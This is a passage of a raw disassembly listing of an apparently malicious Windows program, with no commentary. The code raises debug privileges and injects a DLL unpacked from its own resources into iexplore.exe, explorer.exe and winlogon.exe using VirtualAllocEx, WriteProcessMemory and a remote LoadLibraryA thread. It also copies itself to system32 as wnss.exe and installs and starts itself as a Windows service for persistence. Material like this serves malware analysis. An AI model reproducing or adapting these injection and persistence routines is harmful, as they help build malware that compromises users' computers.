loc_405E90: ; CODE XREF: sub_405E7E+8j test esi, esi jz short loc_405E88 mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_405E7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EB2 proc near ; CODE XREF: sub_405FBD+9Ep ; sub_405FBD+109p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_411054, 0 jz short loc_405EDA push dword_411054 call dword_411CF8 and dword_411054, 0 loc_405EDA: ; CODE XREF: sub_405EB2+13j push 0Ah push offset a8001 ; "#8001" push 0 call dword_411D54 mov esi, eax test eax, eax jz loc_405FB6 push esi push 0 call dword_411D58 mov [ebp+var_4], eax push [ebp+var_4] push offset aResourceHereSi ; "resource here, size: %i\n" call nullsub_2 pop ecx pop ecx push esi push 0 call dword_411D5C mov [ebp+var_8], eax test eax, eax jz loc_405FB6 push [ebp+var_8] call dword_411D60 mov [ebp+var_C], eax test eax, eax jz loc_405FB6 push 80h push ebx call dword_411D28 push offset aWb ; "wb+" push ebx call sub_4073C0 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_405F66 push ebx push offset aFileSNotCreate ; "file <%s> NOT created\n" call nullsub_2 pop ecx pop ecx xor eax, eax jmp short loc_405FB6 ; --------------------------------------------------------------------------- loc_405F66: ; CODE XREF: sub_405EB2+A1j push ebx push offset aFileSCreated ; "file <%s> created\n" call nullsub_2 pop ecx pop ecx push edi push 1 mov eax, [ebp+var_4] push eax push [ebp+var_C] call sub_407820 add esp, 10h mov [ebp+var_10], eax push edi call sub_407620 pop ecx push [ebp+var_10] push ebx push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n" call nullsub_2 add esp, 0Ch push 7 push ebx call dword_411D28 cmp [ebp+var_10], 1 jz short loc_405FB3 xor eax, eax jmp short loc_405FB6 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405EB2+FBj xor eax, eax inc eax loc_405FB6: ; CODE XREF: sub_405EB2+3Bj ; sub_405EB2+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405EB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FBD proc near ; CODE XREF: sub_406544:loc_406610p var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h push ebp mov ebp, esp mov eax, 1004h call sub_4077F0 cmp dword_411050, 0 jz short loc_406013 push offset aR ; "r" push offset dword_412970 call sub_4073C0 pop ecx pop ecx mov [ebp+var_1004], eax test eax, eax jz short loc_406013 push offset dword_412970 push offset aOldDllS ; "old DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push [ebp+var_1004] call sub_407620 pop ecx xor eax, eax inc eax jmp loc_4060FD ; --------------------------------------------------------------------------- loc_406013: ; CODE XREF: sub_405FBD+14j ; sub_405FBD+2Fj push offset dword_412970 push 0FFFh call dword_411D1C push offset aWnss_ ; "wnss_" push offset dword_412970 call sub_407750 pop ecx pop ecx push offset a000_tmp ; "000.tmp" push offset dword_412970 call sub_407750 pop ecx pop ecx push offset dword_412970 push offset aCheckingDllS ; "checking DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push offset dword_412970 call sub_405EB2 pop ecx test eax, eax jz short loc_406085 push offset dword_412970 push offset aDllFoundS ; " DLL found: <%s>\n" call nullsub_2 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_4060FD ; --------------------------------------------------------------------------- loc_406085: ; CODE XREF: sub_405FBD+A6j lea eax, [ebp+var_1000] push eax push 0FFFh call dword_411D1C push offset dword_412970 push 0 push offset aWnss_ ; "wnss_" lea eax, [ebp+var_1000] push eax call dword_411D20 push offset dword_412970 push offset aTryingDllS ; "trying DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push offset dword_412970 call sub_405EB2 pop ecx test eax, eax jz short loc_4060F0 push offset dword_412970 push offset aDllOkS ; "DLL ok: <%s>\n" call nullsub_2 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_4060FD ; --------------------------------------------------------------------------- loc_4060F0: ; CODE XREF: sub_405FBD+111j push offset aDllNotExtracte ; "DLL not extracted.\n" call nullsub_2 pop ecx xor eax, eax loc_4060FD: ; CODE XREF: sub_405FBD+51j ; sub_405FBD+C6j ... mov esp, ebp pop ebp retn sub_405FBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406101 proc near ; CODE XREF: sub_4062A5+6p ; sub_40636D+12p ... var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_1C] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 call dword_411E78 test eax, eax jz short loc_406177 call dword_411D64 lea edx, [ebp+var_14] push edx push 28h push eax call dword_411E7C test eax, eax jz short loc_406177 mov [ebp+var_10], 1 mov eax, [ebp+var_1C] mov edx, [ebp+var_18] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], 2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 10h lea eax, [ebp+var_10] push eax push 0 push [ebp+var_14] call dword_411E80 call dword_411CE8 test eax, eax jz short loc_406174 xor eax, eax jmp short loc_406177 ; --------------------------------------------------------------------------- loc_406174: ; CODE XREF: sub_406101+6Dj xor eax, eax inc eax loc_406177: ; CODE XREF: sub_406101+19j ; sub_406101+30j ... mov esp, ebp pop ebp retn sub_406101 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40617B proc near ; CODE XREF: sub_4062A5+34p var_1008 = byte ptr -1008h var_1004 = byte ptr -1004h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_4077F0 push ebx push esi push edi push 40h push 1000h push 1000h push 0 push [ebp+arg_0] call dword_411D68 mov esi, eax test eax, eax jz loc_40629E push offset aVirtualallocex ; "VirtualAllocEx() ok\n" call nullsub_2 pop ecx lea ebx, [ebp+var_1000] mov byte ptr [ebx], 68h inc ebx mov eax, esi add eax, 50h mov [ebx], eax add ebx, 4 mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 40h mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 50h inc ebx mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 44h mov [ebx], eax push offset aKernel32_dll ; "kernel32.dll" call dword_411D6C mov edi, eax lea ebx, [ebp+var_1000] add ebx, 40h push offset aLoadlibrarya ; "LoadLibraryA" push edi call dword_411D70 mov [ebx], eax add ebx, 4 push offset aExitthread ; "ExitThread" push edi call dword_411D70 mov [ebx], eax add ebx, 4 push offset aGetlasterror ; "GetLastError" push edi call dword_411D70 mov [ebx], eax lea ebx, [ebp+var_1000] add ebx, 50h push [ebp+arg_4] push ebx call sub_407730 pop ecx pop ecx lea eax, [ebp+var_1004] push eax push 1000h lea eax, [ebp+var_1000] push eax push esi push [ebp+arg_0] call dword_411D74 test eax, eax jz short loc_40629E push offset aWriteprocessme ; "WriteProcessMemory() ok\n" call nullsub_2 pop ecx push [ebp+arg_4] push offset aS ; "<%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_1008] push eax push 0 push 0 push esi push 0 push 0 push [ebp+arg_0] call dword_411D78 loc_40629E: ; CODE XREF: sub_40617B+2Bj ; sub_40617B+EEj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40617B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062A5 proc near ; CODE XREF: sub_40636D+6Fp ; sub_40643C+5Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi call sub_406101 push [ebp+arg_0] push 0 push 1F0FFFh call dword_411D7C mov ebx, eax push offset aProcessOpened_ ; "process opened.\n" call nullsub_2 pop ecx test ebx, ebx jz loc_406365 push [ebp+arg_4] push ebx call sub_40617B pop ecx pop ecx mov esi, eax test esi, esi jz short loc_40635E push esi push offset aThreadInjected ; "thread injected (%i).\n" call nullsub_2 pop ecx pop ecx push 0FFFFFFFFh push esi call dword_411D34 lea eax, [ebp+var_4] push eax push esi call dword_411D80 push [ebp+var_4] push offset aThreadComplete ; "thread complete (%i).\n" call nullsub_2 pop ecx pop ecx push esi call dword_411CF8 push ebx call dword_411CF8 cmp [ebp+var_4], 20h jnb short loc_40632E xor eax, eax jmp short loc_406367 ; --------------------------------------------------------------------------- loc_40632E: ; CODE XREF: sub_4062A5+83j push [ebp+arg_4] push offset aDllInjected ; "DLL injected!\n" call nullsub_2 pop ecx pop ecx cmp dword_411054, 0 jz short loc_406359 push dword_411054 call dword_411CF8 and dword_411054, 0 loc_406359: ; CODE XREF: sub_4062A5+9Fj xor eax, eax inc eax jmp short loc_406367 ; --------------------------------------------------------------------------- loc_40635E: ; CODE XREF: sub_4062A5+3Fj push ebx call dword_411CF8 loc_406365: ; CODE XREF: sub_4062A5+2Aj xor eax, eax loc_406367: ; CODE XREF: sub_4062A5+87j ; sub_4062A5+B7j pop esi pop ebx mov esp, ebp pop ebp retn sub_4062A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636D proc near ; CODE XREF: sub_406544+E6p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_406101 push 0 push 2 call sub_406D5C mov edi, eax test eax, eax jz loc_406435 mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_406D62 loc_4063AE: ; CODE XREF: sub_40636D+BDj lea eax, [ebp+var_104] push eax push ebx call dword_411D38 test eax, eax jnz short loc_40641B push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithS ; "trying <%s> with <%s>\n" call nullsub_2 add esp, 0Ch push esi push [ebp+var_120] call sub_4062A5 pop ecx pop ecx test eax, eax jz short loc_406406 lea eax, [ebp+var_104] push eax push offset aS ; "<%s>\n" call nullsub_2 pop ecx pop ecx push edi call dword_411CF8 xor eax, eax inc eax jmp short loc_406435 ; --------------------------------------------------------------------------- loc_406406: ; CODE XREF: sub_40636D+78j push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n" call nullsub_2 add esp, 0Ch loc_40641B: ; CODE XREF: sub_40636D+51j lea eax, [ebp+var_128] push eax push edi call sub_406D68 test eax, eax jnz short loc_4063AE push edi call dword_411CF8 xor eax, eax loc_406435: ; CODE XREF: sub_40636D+24j ; sub_40636D+97j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40636D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40643C proc near ; CODE XREF: sub_406544+FBp var_128 = dword ptr -128h var_120 = dword ptr -120h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] push offset dword_411058 call sub_405E7E pop ecx mov ecx, 100h cdq idiv ecx lea esi, [edx+1] call sub_406101 jmp short loc_4064D4 ; --------------------------------------------------------------------------- loc_406468: ; CODE XREF: sub_40643C+9Aj push 0 push 2 call sub_406D5C mov edi, eax test eax, eax jz short loc_4064DA mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_406D62 loc_40648E: ; CODE XREF: sub_40643C+8Fj dec esi test esi, esi jnz short loc_4064BC push ebx push [ebp+var_120] call sub_4062A5 pop ecx pop ecx test eax, eax jz short loc_4064B1 push edi call dword_411CF8 xor eax, eax inc eax jmp short loc_4064DA ; --------------------------------------------------------------------------- loc_4064B1: ; CODE XREF: sub_40643C+67j push edi call dword_411CF8 xor eax, eax jmp short loc_4064DA ; --------------------------------------------------------------------------- loc_4064BC: ; CODE XREF: sub_40643C+55j lea eax, [ebp+var_128] push eax push edi call sub_406D68 test eax, eax jnz short loc_40648E push edi call dword_411CF8 loc_4064D4: ; CODE XREF: sub_40643C+2Aj test esi, esi jnz short loc_406468 xor eax, eax loc_4064DA: ; CODE XREF: sub_40643C+39j ; sub_40643C+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40643C endp ; =============== S U B R O U T I N E ======================================= sub_4064E1 proc near ; CODE XREF: sub_406544+45p ; sub_406544+115p push ebx push dword_41296C call dword_411D50 push 0 push 0 push offset sub_405DB5 call sub_4079D0 add esp, 0Ch mov ebx, eax push 2710h mov eax, ebx push eax call dword_411D34 test eax, eax jz short loc_406536 push dword_41104C call sub_4014C2 pop ecx mov dword_41104C, 1 mov eax, ebx push eax call dword_411CF8 xor eax, eax jmp short loc_406542 ; --------------------------------------------------------------------------- loc_406536: ; CODE XREF: sub_4064E1+30j mov eax, ebx push eax call dword_411CF8 xor eax, eax inc eax loc_406542: ; CODE XREF: sub_4064E1+53j pop ebx retn sub_4064E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406544 proc near ; DATA XREF: sub_406736+18o ; DMN1:00448A6Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_4036F6 test eax, eax jnz loc_40672A call sub_403658 test eax, eax jnz loc_40672A call sub_406101 push dword_41296C call dword_411D50 push 3E8h push dword_41296C call dword_411D34 call sub_4064E1 test eax, eax jz short loc_4065C2 push 3E8h call dword_411D00 push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"... call nullsub_2 pop ecx push 0FFFFFFFFh push dword_41296C call dword_411D34 push dword_41296C call dword_411D50 loc_4065C2: ; CODE XREF: sub_406544+4Cj and [ebp+var_C], 0 mov [ebp+var_8], 4 mov esi, [ebp+var_C] loc_4065D0: ; CODE XREF: sub_406544+1BAj push dword_41296C call dword_411D50 cmp esi, 2 ja short loc_40660C test esi, esi jz short loc_4065F1 cmp esi, 1 jz short loc_4065FA cmp esi, 2 jz short loc_406603 jmp short loc_406610 ; --------------------------------------------------------------------------- loc_4065F1: ; CODE XREF: sub_406544+9Fj mov [ebp+var_4], offset aIexplore_exe ; "iexplore.exe" jmp short loc_406610 ; --------------------------------------------------------------------------- loc_4065FA: ; CODE XREF: sub_406544+A4j mov [ebp+var_4], offset aExplorer_exe ; "explorer.exe" jmp short loc_406610 ; --------------------------------------------------------------------------- loc_406603: ; CODE XREF: sub_406544+A9j mov [ebp+var_4], offset aWinlogon_exe ; "winlogon.exe" jmp short loc_406610 ; --------------------------------------------------------------------------- loc_40660C: ; CODE XREF: sub_406544+9Bj and [ebp+var_4], 0 loc_406610: ; CODE XREF: sub_406544+ABj ; sub_406544+B4j ... call sub_405FBD test eax, eax jz loc_406704 cmp esi, 2 ja short loc_406635 push offset dword_412970 push [ebp+var_4] call sub_40636D pop ecx pop ecx mov ebx, eax jmp short loc_406650 ; --------------------------------------------------------------------------- loc_406635: ; CODE XREF: sub_406544+DCj mov edi, 64h loc_40663A: ; CODE XREF: sub_406544+10Aj push offset dword_412970 call sub_40643C pop ecx mov ebx, eax test ebx, ebx jnz short loc_406650 dec edi test edi, edi jg short loc_40663A loc_406650: ; CODE XREF: sub_406544+EFj ; sub_406544+105j inc esi test ebx, ebx jz loc_4066D7 call sub_4064E1 test eax, eax jz short loc_4066D7 push 3E8h call dword_411D00 push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n" call nullsub_2 pop ecx jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40667A: ; CODE XREF: sub_406544+159j call sub_403658 test eax, eax jnz loc_40672A loc_406687: ; CODE XREF: sub_406544+134j push 2BCh push dword_41296C call dword_411D34 cmp eax, 102h jz short loc_40667A push dword_41296C call dword_411D50 mov esi, [ebp+var_C] call sub_403658 test eax, eax jz short loc_4066CC push offset aDying ; "dying\n" call nullsub_2 pop ecx push 1 call sub_407AA0 pop ecx jmp short loc_40672A ; --------------------------------------------------------------------------- loc_4066CC: ; CODE XREF: sub_406544+171j push offset aDllStopped___ ; "DLL stopped...\n" call nullsub_2 pop ecx loc_4066D7: ; CODE XREF: sub_406544+10Fj ; sub_406544+11Cj call sub_4036F6 test eax, eax jnz short loc_40672A cmp dword_411050, 0 jz short loc_4066FB push offset dword_412970 call sub_407B50 pop ecx and dword_411050, 0 loc_4066FB: ; CODE XREF: sub_406544+1A3j cmp esi, [ebp+var_8] jle loc_4065D0 loc_406704: ; CODE XREF: sub_406544+D3j push offset aInjectionthrea ; "InjectionThread complete\n" call nullsub_2 pop ecx cmp dword_411050, 0 jz short loc_40672A push offset dword_412970 call sub_407B50 pop ecx and dword_411050, 0 loc_40672A: ; CODE XREF: sub_406544+10j ; sub_406544+1Dj ... call sub_407A60 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406544 endp ; =============== S U B R O U T I N E ======================================= sub_406736 proc near ; DATA XREF: sub_40592F+99o ; sub_4067B0+56Eo ... push ebx push 0 push 0 push 1 push 0 call dword_411D40 mov dword_41296C, eax push 0 push 0 push offset sub_406544 call sub_4079D0 add esp, 0Ch mov ebx, eax push 0FFFFFFFFh mov eax, ebx push eax call dword_411D34 mov eax, ebx push eax call dword_411CF8 push 0 push 0 push offset sub_40356A call sub_4079D0 add esp, 0Ch push eax call dword_411CF8 push 1F4h call dword_411D00 push 0 push 0 push offset sub_404967 call sub_4079D0 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 pop ebx retn sub_406736 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067B0 proc near ; CODE XREF: sub_406D48+1p var_2004 = byte ptr -2004h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2004h call sub_4077F0 push ebx push esi push edi and [ebp+var_4], 0 xor esi, esi mov off_412958, offset aWnss ; "wnss" call sub_40103C call sub_401165 call sub_401097 push offset dword_413970 call dword_411CC8 call sub_401F8E mov dword_412934, eax call dword_411D90 push eax call sub_40122A pop ecx cmp dword_411000, 4 jnz loc_4068EE push offset aUpdate_0 ; "*update" push dword_4128A8 call dword_411D38 test eax, eax jnz loc_4068EE call sub_403604 mov [ebp+var_8], eax call sub_404162 mov eax, dword_411018 push eax push [ebp+var_8] push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n" call nullsub_2 add esp, 0Ch push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n" call nullsub_2 pop ecx push 1770h call dword_411D00 call sub_40512B push 0FA0h call dword_411D00 call sub_40512B call sub_403685 and [ebp+var_C], 0 push dword_4128A4 push dword_4128B0 push dword_4128AC push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n" call nullsub_2 add esp, 10h lea eax, [ebp+var_C] push eax push 1 push 0 push dword_4128AC call sub_403723 add esp, 10h test eax, eax jnz short loc_4068E7 push 0 push 1 push 0 push dword_4128B0 call sub_403723 add esp, 10h test eax, eax jnz short loc_4068E7 push 0 push 1 push 0 push dword_4128A4 call sub_403723 add esp, 10h test eax, eax jz short loc_4068EE loc_4068E7: ; CODE XREF: sub_4067B0+105j ; sub_4067B0+11Dj xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_4068EE: ; CODE XREF: sub_4067B0+58j ; sub_4067B0+71j ... call sub_40410E test eax, eax jz short loc_4068FE xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_4068FE: ; CODE XREF: sub_4067B0+145j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jz loc_4069E1 push offset aCopying___ ; "copying...\n" call nullsub_2 pop ecx push 80h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call dword_411D28 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D24 test eax, eax jz loc_4069D3 push 7 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" call dword_411D28 lea edi, [ebp+var_2004] mov byte ptr [edi], 22h inc edi push dword_4128A4 push edi call sub_407730 pop ecx pop ecx push dword_4128A4 call sub_407710 pop ecx add edi, eax mov byte ptr [edi], 22h inc edi mov byte ptr [edi], 0 inc edi lea eax, [ebp+var_2004] push eax push offset aCmdlineS ; "cmdline: <%s>\n" call nullsub_2 pop ecx pop ecx call sub_404162 lea eax, [ebp+var_2004] push eax call sub_405BE9 pop ecx test eax, eax jz short loc_4069B8 xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_4069B8: ; CODE XREF: sub_4067B0+1FFj push offset aCreateprocessF ; "CreateProcess() failed %%-(\n" call nullsub_2 pop ecx call sub_40410E test eax, eax jz short loc_4069DE xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_4069D3: ; CODE XREF: sub_4067B0+197j push offset aCopyingFailed ; "copying failed %%-(\n" call nullsub_2 pop ecx loc_4069DE: ; CODE XREF: sub_4067B0+21Aj xor esi, esi inc esi loc_4069E1: ; CODE XREF: sub_4067B0+161j call sub_402296 call sub_4058BE push 0 push 0 call sub_4023DC pop ecx pop ecx mov dword_411004, eax push offset aInitializingWi ; "initializing winsock library...\n" call nullsub_2 pop ecx call sub_4012EC cmp dword_411000, 1 jle loc_406AB2 mov eax, dword_4128A8 cmp byte ptr [eax], 2Ah jz loc_406AB2 push 80h push dword_4128A8 call dword_411D28 push dword_4128A8 call dword_411D4C cmp eax, 0FFFFFFFFh jz short loc_406A96 push dword_4128A8 push offset aRemovingS ; "removing: <%s>\n" call nullsub_2 pop ecx pop ecx mov edi, 0Ah jmp short loc_406A8F ; --------------------------------------------------------------------------- loc_406A63: ; CODE XREF: sub_4067B0+2E4j push 80h push dword_4128A8 call dword_411D28 push dword_4128A8 call dword_411D18 test eax, eax jnz short loc_406A96 push 3E8h call dword_411D00 loc_406A8F: ; CODE XREF: sub_4067B0+2B1j dec edi mov eax, edi test eax, eax jnz short loc_406A63 loc_406A96: ; CODE XREF: sub_4067B0+298j ; sub_4067B0+2D2j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_406AB2 mov [ebp+var_4], 1 loc_406AB2: ; CODE XREF: sub_4067B0+262j ; sub_4067B0+270j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_406B10 push offset asc_40E58E ; "**" push dword_4128A8 call dword_411D38 test eax, eax jnz short loc_406B10 push offset aWaiting___ ; "*** waiting...\n" call nullsub_2 pop ecx mov edi, 0Ah loc_406AEC: ; CODE XREF: sub_4067B0+353j call sub_404D77 test eax, eax jz short loc_406B05 push 1F4h call dword_411D00 dec edi test edi, edi jnz short loc_406AEC loc_406B05: ; CODE XREF: sub_4067B0+343j push offset aWaitingComplet ; "*** waiting complete...\n" call nullsub_2 pop ecx loc_406B10: ; CODE XREF: sub_4067B0+315j ; sub_4067B0+32Aj call sub_404D77 mov ebx, eax test ebx, ebx jnz short loc_406B69 push offset aNoRegisteredSe ; "no registered service, " call nullsub_2 pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_406B52 mov [ebp+var_4], 1 push offset aRegisterItAndR ; "register it and restart\n" call nullsub_2 pop ecx jmp loc_406BF3 ; --------------------------------------------------------------------------- loc_406B52: ; CODE XREF: sub_4067B0+389j push offset aDonTRegisterIt ; "DON'T register it\n" call nullsub_2 pop ecx and [ebp+var_4], 0 xor esi, esi inc esi jmp loc_406BF3 ; --------------------------------------------------------------------------- loc_406B69: ; CODE XREF: sub_4067B0+369j push offset aRegisteredServ ; "registered service is here...\n" call nullsub_2 pop ecx call sub_404DC1 test eax, eax jz short loc_406B84 xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_406B84: ; CODE XREF: sub_4067B0+3CBj push offset aRegisteredSe_0 ; "registered service is not running.\n" call nullsub_2 pop ecx call sub_4040C3 test eax, eax jnz short loc_406BF3 push offset aInstallingServ ; "installing service, res=" call nullsub_2 pop ecx call sub_404FE9 mov [ebp+var_8], eax push [ebp+var_8] push offset aI ; "%i\n" call nullsub_2 pop ecx pop ecx call sub_405170 test eax, eax jnz short loc_406BC8 call sub_405246 loc_406BC8: ; CODE XREF: sub_4067B0+411j call sub_404162 push offset aStartingServic ; "starting service...\n" call nullsub_2 pop ecx call sub_404F15 test eax, eax jz short loc_406BE8 xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_406BE8: ; CODE XREF: sub_4067B0+42Fj push offset aRegisteredSe_1 ; "registered service is not running, unre"... call nullsub_2 pop ecx loc_406BF3: ; CODE XREF: sub_4067B0+39Dj ; sub_4067B0+3B4j ... push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_406C34 cmp [ebp+var_4], 0 jz short loc_406C34 test ebx, ebx jnz short loc_406C34 push offset aInstallingSe_0 ; "installing service...\n" call nullsub_2 pop ecx call sub_404FE9 test eax, eax jz short loc_406C34 push offset aServiceInstall ; "service installed ok...\n" call nullsub_2 pop ecx xor ebx, ebx inc ebx loc_406C34: ; CODE XREF: sub_4067B0+456j ; sub_4067B0+45Cj ... test ebx, ebx jz short loc_406C41 call sub_4040C3 test eax, eax jz short loc_406C6B loc_406C41: ; CODE XREF: sub_4067B0+486j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_406C9B push offset asc_40E58E ; "**" push dword_4128A8 call dword_411D38 test eax, eax jnz short loc_406C9B loc_406C6B: ; CODE XREF: sub_4067B0+48Fj push offset aStartingServic ; "starting service...\n" call nullsub_2 pop ecx call sub_404162 call sub_404F15 test eax, eax jz short loc_406C8B xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_406C8B: ; CODE XREF: sub_4067B0+4D2j call sub_40410E test eax, eax jz short loc_406C9B xor eax, eax jmp loc_406D41 ; --------------------------------------------------------------------------- loc_406C9B: ; CODE XREF: sub_4067B0+4A4j ; sub_4067B0+4B9j ... call sub_404D77 test eax, eax jz short loc_406CF2 call sub_4040C3 test eax, eax jz short loc_406CF2 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" push dword_4128A4 call dword_411D38 test eax, eax jnz short loc_406CF2 push offset asc_40E58E ; "**" push dword_4128A8 call dword_411D38 test eax, eax jz short loc_406CF2 push offset aInitializingSe ; "initializing service startup sequence.."... call nullsub_2 pop ecx call sub_405B88 test eax, eax jz short loc_406CEF xor eax, eax jmp short loc_406D41 ; --------------------------------------------------------------------------- loc_406CEF: ; CODE XREF: sub_4067B0+539j xor esi, esi inc esi loc_406CF2: ; CODE XREF: sub_4067B0+4F2j ; sub_4067B0+4FBj ... push offset aNotDaemonized_ ; "not daemonized...\n" call nullsub_2 pop ecx test esi, esi jz short loc_406D0D push dword_4128A4 call sub_405833 pop ecx loc_406D0D: ; CODE XREF: sub_4067B0+54Fj call sub_40410E test eax, eax jz short loc_406D1A xor eax, eax jmp short loc_406D41 ; --------------------------------------------------------------------------- loc_406D1A: ; CODE XREF: sub_4067B0+564j push 0 push 0 push offset sub_406736 call sub_4079D0 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 push offset dword_40E000 call nullsub_2 pop ecx xor eax, eax loc_406D41: ; CODE XREF: sub_4067B0+139j ; sub_4067B0+149j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4067B0 endp ; =============== S U B R O U T I N E ======================================= sub_406D48 proc near ; CODE XREF: sub_407B60+C1p push ebx call sub_4067B0 mov ebx, eax call sub_404162 mov eax, ebx pop ebx retn 10h sub_406D48 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D5C proc near ; CODE XREF: sub_40636D+1Bp ; sub_40643C+30p jmp dword_411D84 sub_406D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D62 proc near ; CODE XREF: sub_40636D+3Cp ; sub_40643C+4Dp jmp dword_411D88 sub_406D62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D68 proc near ; CODE XREF: sub_40636D+B6p ; sub_40643C+88p jmp dword_411D8C sub_406D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D6E proc near ; CODE XREF: sub_4012EC+1Ap ; sub_4012EC+34p jmp dword_411E88 sub_406D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D74 proc near ; CODE XREF: DMN0:00401350p jmp dword_411E8C sub_406D74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D7A proc near ; CODE XREF: sub_401359+Bp ; DMN0:004013DDp ... jmp dword_411E90 sub_406D7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D80 proc near ; CODE XREF: sub_401359+36p ; sub_401359+53p ... jmp dword_411E94 sub_406D80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D86 proc near ; CODE XREF: sub_4014C2+4p ; sub_402B02+152p ... 